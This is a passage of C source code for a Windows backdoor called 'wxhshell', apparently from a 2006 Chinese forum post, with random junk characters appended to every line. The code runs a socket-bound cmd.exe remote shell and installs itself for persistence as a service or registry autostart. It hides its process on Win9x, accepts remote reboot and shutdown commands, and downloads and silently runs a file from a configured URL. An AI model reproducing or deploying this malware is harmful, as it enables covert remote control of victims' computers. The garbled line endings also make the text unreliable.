  case '?': { X|M!Nt0'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E-MPFL  
    break; +jN}d=N-  
  } !XA3G`}p6s  
  // 安装 dj|5'<l2  
  case 'i': { ?0tg}0|  
    if(Install()) da{]B5p\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $EMOz=)I#  
    else s:`i~hjq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 85{m+1O~  
    break; o9?@jjqH  
    } +>w]T\[1~  
  // 卸载 ]6&NIz`:,  
  case 'r': { \>L,X_DL  
    if(Uninstall()) l?Y^3x}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `sxfj)s  
    else uFd$*`jS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q^@*{H  
    break; yoi4w 7:  
    } LHAlXo;  
  // 显示 wxhshell 所在路径 :NzJvI<  
  case 'p': { Ycm)PU["  
    char svExeFile[MAX_PATH]; R+sT &d  
    strcpy(svExeFile,"\n\r"); @nxo Bc !P  
      strcat(svExeFile,ExeFile); #u<Qc T@  
        send(wsh,svExeFile,strlen(svExeFile),0); MatXhP] Fi  
    break; (iIw }f)w  
    } &{iC:zp  
  // 重启 3KLUH=)P  
  case 'b': { z*Sm5i&)_q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _MBa&XEM  
    if(Boot(REBOOT)) p:,Y6[gMo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Eut_d  
    else { ^S#;   
    closesocket(wsh); yTaMlT|  
    ExitThread(0); -H1=N  
    } @WJ;T= L  
    break; oL4W>b )  
    } We+rFk1ddt  
  // 关机 fJ,N.O+9E  
  case 'd': { N&8TG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?M2(8 0  
    if(Boot(SHUTDOWN)) ;#B(L=/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 61\u{@o$  
    else { 7AG|'s['=  
    closesocket(wsh); 1CtUf7 `/Q  
    ExitThread(0); ^({)t  
    } c,UJ uCZ  
    break; ?0b-fL^^+l  
    } 95;{ms[  
  // 获取shell [ X*p [  
  case 's': { Re%[t9 F&  
    CmdShell(wsh); Gk;YAI  
    closesocket(wsh); owVvbC2<b(  
    ExitThread(0); H$6RDMU  
    break; wNONh`b  
  } ,'NasL8?We  
  // 退出 .^YxhUH,G  
  case 'x': { p_r`"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $QX$rN  
    CloseIt(wsh); @xG&K{j  
    break; Z\$Hg G  
    } uL'f8Pqg  
  // 离开 N_t,n^i9>*  
  case 'q': { (1/Sf&2i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OhF55,[  
    closesocket(wsh); DF%d/a{]  
    WSACleanup(); 3)OZf{D[  
    exit(1); #86N !&x  
    break; %cNN<x8  
        } gv!8' DKn  
  } Z0|5VLk,<{  
  } pP\Cwo #,  
!3Dq)ebBz  
  // 提示信息 o7y<Zd`Bj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J?4{#p  
} H7O~So*N5  
  } =4y gbk  
*MJm:  
  return; v|?@k^Ms  
} 'Kelq$dn#  
68%aDs  
// shell模块句柄 *4O=4F)x  
int CmdShell(SOCKET sock) Wzq W1<*`  
{ d[9,J?'OQ  
STARTUPINFO si; s"L&y <?)  
ZeroMemory(&si,sizeof(si)); .X g.,kW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >OG189O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z%&FLdXgW+  
PROCESS_INFORMATION ProcessInfo; o$_0Qs$  
char cmdline[]="cmd"; /SvhOi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g`EZLDjt  
  return 0; ^0,}y]5p  
} /%$Zm^8c  
LUbhTc  
// 自身启动模式 +cpb!YEAb  
int StartFromService(void) 1nVQYqT_  
{ YV>a 3  
typedef struct FT).$h~+4  
{ iIfiv<(ChM  
  DWORD ExitStatus; IPo t][ N>  
  DWORD PebBaseAddress; +Z#=z,.^  
  DWORD AffinityMask; K5>3  
  DWORD BasePriority; eAHY/Y!  
  ULONG UniqueProcessId; 5!0iK9O  
  ULONG InheritedFromUniqueProcessId; vE]ge  
}   PROCESS_BASIC_INFORMATION; ~Nh6po{  
F`}'^>  
PROCNTQSIP NtQueryInformationProcess; )! [B(  
#83   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @kXuC<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +h) "m/mE  
LpHGt]|D  
  HANDLE             hProcess; L K&c~ Uy  
  PROCESS_BASIC_INFORMATION pbi; j/v>,MM  
P0N/bp2Uy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Qgb t  
  if(NULL == hInst ) return 0; Z;+,hR((  
tpI/I bq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2[ sY?C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tqZ91QpW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s/1r{;q  
88Pt"[{1  
  if (!NtQueryInformationProcess) return 0; hV3]1E21"  
]4rmQAS7"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q`CuZkP(  
  if(!hProcess) return 0; 3G// _f  
mR}8}K]L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ui]iO p  
q NGR6i  
  CloseHandle(hProcess); 4S(G366  
6v@Prw@.b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R P{pEd  
if(hProcess==NULL) return 0; Owp]>e  
f,YORJ  
HMODULE hMod; v]JET9hY  
char procName[255]; <5Vf3KoC&  
unsigned long cbNeeded; eDd& vf  
#y\O+\4e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &Vj @){  
$.,PteYK  
  CloseHandle(hProcess); j;$f[@0o  
,~L*N*ML  
if(strstr(procName,"services")) return 1; // 以服务启动 zU5@~J  
^C gg1e1  
  return 0; // 注册表启动  ZllmaI  
} V .Kjcy  
HB9"T5Pd*  
// 主模块 AFt- V  
int StartWxhshell(LPSTR lpCmdLine) V``|<`!gd  
{ R6~6b&-8  
  SOCKET wsl; tbQY&TO1  
BOOL val=TRUE; 5{ap  
  int port=0; S iNgV\('U  
  struct sockaddr_in door; &zn|),  
h]zok}$  
  if(wscfg.ws_autoins) Install(); ~XUUrg;  
rEr=Mi2  
port=atoi(lpCmdLine); % :G78.  
Ehy(;n)\  
if(port<=0) port=wscfg.ws_port; TF%n1H-sF  
c((3B  
  WSADATA data; (JU8F-/9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (4Db%Iw  
hC-uz _/3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hu-]SGb6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hl]d99Lc  
  door.sin_family = AF_INET; Dw=L]i :0v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #kQ! GMZH  
  door.sin_port = htons(port); TjpyU:R,&|  
IO7z}![V;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '[r:pwE  
closesocket(wsl); dX\OP>  
return 1; zDg*ds\  
} gd[muR ~  
WjBml'^RY  
  if(listen(wsl,2) == INVALID_SOCKET) { U/c+j{=~  
closesocket(wsl); &4E|c[HN  
return 1; <v ub Q4  
} c| %5SA  
  Wxhshell(wsl); 2tU3p<[  
  WSACleanup(); ~U+<JC Z  
eg~ Dm>Es  
return 0; y0O(n/  
UAjN  
} Wv>`x?W  
hGFi|9/-u  
// 以NT服务方式启动 j1Ys8k%$l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =Vh]{ y~$  
{ OL1xxzo  
DWORD   status = 0; $7X;FmlG&  
  DWORD   specificError = 0xfffffff; *Y1s4FXu2  
do`'K3a"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }51QUFhL0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^uo,LTq+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; padV|hF3(e  
  serviceStatus.dwWin32ExitCode     = 0; D~inR3(}  
  serviceStatus.dwServiceSpecificExitCode = 0; ~N /%R>(v  
  serviceStatus.dwCheckPoint       = 0; Sh;`<Ggi~  
  serviceStatus.dwWaitHint       = 0; %X\J%Fj  
QM!UMqdj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yS)k"XNb  
  if (hServiceStatusHandle==0) return; B^19![v3T  
Zn1((J7  
status = GetLastError();  H#F"n"~$  
  if (status!=NO_ERROR) ks$5$,^T2o  
{ <F`9;WX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 02 FLe*zQ  
    serviceStatus.dwCheckPoint       = 0; 06NiH-0O  
    serviceStatus.dwWaitHint       = 0; .}E<,T  
    serviceStatus.dwWin32ExitCode     = status; .KYs5Qu  
    serviceStatus.dwServiceSpecificExitCode = specificError; +%CXc%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3^7'^j<  
    return; H94_ae  
  } OL=X&Vaf<  
4 JBfA,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oe6Ex5h  
  serviceStatus.dwCheckPoint       = 0; [/ CB1//Y  
  serviceStatus.dwWaitHint       = 0; !d0$cF):  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~#EXb?#uS  
} gISA13  
SFzoRI=qG  
// 处理NT服务事件,比如:启动、停止 x1 LI&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AsS~TLG9p  
{ 'bv(T2d~~  
switch(fdwControl) 4o''C |ND  
{ qZQm*q(jM  
case SERVICE_CONTROL_STOP: B'Nvl#  
  serviceStatus.dwWin32ExitCode = 0; FpttH?^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 y"r '  
  serviceStatus.dwCheckPoint   = 0; h*4wi.-  
  serviceStatus.dwWaitHint     = 0; "% i1zQo&  
  { $sL+k 'dY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3b?-83a  
  } >$<Q:o}^  
  return; zBrIhL]95  
case SERVICE_CONTROL_PAUSE: tIA)LF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <q MX,h2  
  break; NVVAh5R  
case SERVICE_CONTROL_CONTINUE: 3F6'3NvVc2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F0m[ls$  
  break; C#&b`  
case SERVICE_CONTROL_INTERROGATE: w6 Y+Y;,'f  
  break; 8}z PDs  
}; 'o_ RC{k2"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U ;4;>  
} (^=kV?<  
?`*`A9@  
// 标准应用程序主函数 Pi&\GMzd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /|Gz<nSc  
{ &=8ZGjR< }  
$ z+ =lF  
// 获取操作系统版本 Z\-Gr 2k  
OsIsNt=GetOsVer(); 7|m{hSc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8Z@O%\1x6  
X7aj/:fXe  
  // 从命令行安装 hO3C _}  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y5>'(A>  
LQ$dT#z2A  
  // 下载执行文件 aBF<it>  
if(wscfg.ws_downexe) { ']Km%uwL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8W.-Y|[5?  
  WinExec(wscfg.ws_filenam,SW_HIDE); z ISy\uka  
} /Wjf"dG}  
< Lrd(b;  
if(!OsIsNt) { .bMU$O1  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?$7$# DX  
HideProc(); ~"~uXNd  
StartWxhshell(lpCmdLine); %MfT5*||f  
} BD ,3JDqT  
else 51%<N\>/4  
  if(StartFromService()) B@3>_};Ct  
  // 以服务方式启动 (w'k\y  
  StartServiceCtrlDispatcher(DispatchTable); [s!cc:JR  
else )o_$AbPt  
  // 普通方式启动 87V XVI  
  StartWxhshell(lpCmdLine); `tsqnw  
i];@e]   
return 0; (i'wa6[E8  
}
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只看该作者 1 发表于: 2006-10-10
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